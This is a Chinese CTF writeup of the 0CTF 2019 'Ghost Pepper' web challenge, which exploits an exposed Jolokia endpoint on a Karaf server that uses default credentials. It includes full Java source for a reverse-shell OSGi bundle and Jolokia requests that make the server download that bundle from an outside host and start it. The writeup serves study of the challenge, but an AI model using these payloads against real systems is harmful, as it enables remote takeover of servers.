Mi1k7ea

0CTF Web writeup

阅读量

本次writeup,纯属复现 : )

0x01 Ghost Pepper

题目地址

访问题目,提示该站点是Karaf,需要输入用户名和密码:

Karaf是一个基于OSGi的框架,而OSGi是一个Java平台,允许在运行时管理应用程序组件的生命周期,而无需重新启动应用程序。我们可以在应用程序运行时在运行时添加/删除/替换组件,部署多个版本等。Karaf框架中的用户名和密码默认均为karaf,输入进去后是个404页面:

页面显示是使用Jetty作为Web服务器的,除此之外没找到更多的信息。

搜一下题目Ghost pepper,在Wiki百科发现其别名为Bhut jolokia,然后再搜索一遍Bhut jolokia,发现Jolokia是一个JMX-HTTP桥接器,可替代JSR-160连接器。它是一种基于代理的方法,支持许多平台。除了基本的JMX操作之外,它还通过批量请求和细粒度安全策略等独特功能增强了JMX远程处理功能。

那就是说,该站点应该支持Jolokia,访问一下该路径看看,果然返回了Json格式的数据:

访问list,列出Jolokia所支持的所有操作:

这里只列下前面的Java类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
java.util.logging
org.eclipse.jetty.server.session
org.ops4j.pax.web.service.jetty.internal
org.eclipse.jetty.jmx
osgi.compendium
java.nio
org.apache.karaf
JMImplementation
org.eclipse.jetty.util.thread
java.lang
com.sun.management
jmx4perl
connector
sun.nio.ch
org.eclipse.jetty.server
org.apache.aries.blueprint
org.eclipse.jetty.io
osgi.core
jolokia

注意到org.apache.karaf这个类,就是说我们可以通过Karaf JMX执行各种操作。下面就来找下该karaf类所支持的所有方法:

其中可以看到很多操作命名为install,因此我们可以利用这些API来加载安装并部署我们直接编写的恶意jar程序。

下面有两种方法来解它。

Method1——安装WebConsole

Karaf框架是拥有一个WebConsole的,可以通过Web端进行控制台的交互,前面我们获取了org.apache.karaf的所有支持的方法,找到其中的installFeature(),编写如下安装WebConsole的payload:

1
http://111.186.63.207:31337/jolokia/exec/org.apache.karaf:name=root,type=feature/installFeature(java.lang.String)/webconsole

然后在URL栏访问Karaf的WebConsole界面,直接输入命令即可得到flag:

1
http://111.186.63.207:31337/system/console/gogo

Method2——安装恶意bundle

在之前的org.apache.karaf类中,还可以参考这篇文章通过install方法来进行利用。

除了该类外,还可以通过osgi.core的installBundleFromURL,这个方法可以通过URL来安装bundle,我们可以通过如下的方法找到该方法:

此时我们可以构造一个恶意bundle打包成jar放置在我们自己的服务器中,然后访问Karaf服务让其下载并安装部署我们的恶意bundle从而实现反弹shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import org.osgi.framework.BundleActivator;
import org.osgi.framework.BundleContext;

import java.io.*;
import java.net.Socket;


public class Activator
implements BundleActivator
{
public void start(BundleContext paramBundleContext)
throws Exception
{
String str = "1.2.3.4";
int i = 12345;

Socket localSocket = new Socket(str, i);

localSocket.getOutputStream().write("Mi1k7ea".getBytes());
localSocket.getOutputStream().flush();
// localSocket.close();
try
{
String ShellPath;
ShellPath = new String("/bin/sh");
Socket socket = new Socket( str, i );
Process process = Runtime.getRuntime().exec( ShellPath );
( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();
( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();
process.waitFor();
} catch( Exception e ) {}
localSocket.getOutputStream().write("Mi1k7ea".getBytes());
localSocket.getOutputStream().flush();
localSocket.close();
}

public void stop(BundleContext paramBundleContext)
throws Exception
{
System.out.println("RIP");
}
}

获取一下该类的uuid:

然后通过installBundleFromURL方法来下载安装恶意bundle:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
POST /jolokia/list HTTP/1.1
Host: 111.186.63.207:31337
Cache-Control: max-age=0
Authorization: Basic a2FyYWY6a2FyYWY=
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: JSESSIONID=h1fouerlv92j1nzj1rn7f4hyu
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

{
"type": "exec",
"mbean": "osgi.core:framework=org.eclipse.osgi,type=framework,uuid=089717e7-f953-42ec-959f-cd2488bc6482,version=1.7",
"operation": "installBundleFromURL",
"arguments": [
"moxiaoxi",
"http://a.com:666/m7.jar"
]
}

通过response的id,来启动bundle,就可以获得一个反弹shell:

1
{ "type": "exec", "mbean": "osgi.core:framework=org.eclipse.osgi,type=framework,version=1.7,uuid=089717e7-f953-42ec-959f-cd2488bc6482", "operation": "startBundle", "arguments": [ "93" ] }

0x02 Wallbreaker Easy

题目地址,已关闭。

环境待复现…

参考

TCTF2019 Web WP


Copyright © Mi1k7ea | 本站总访问量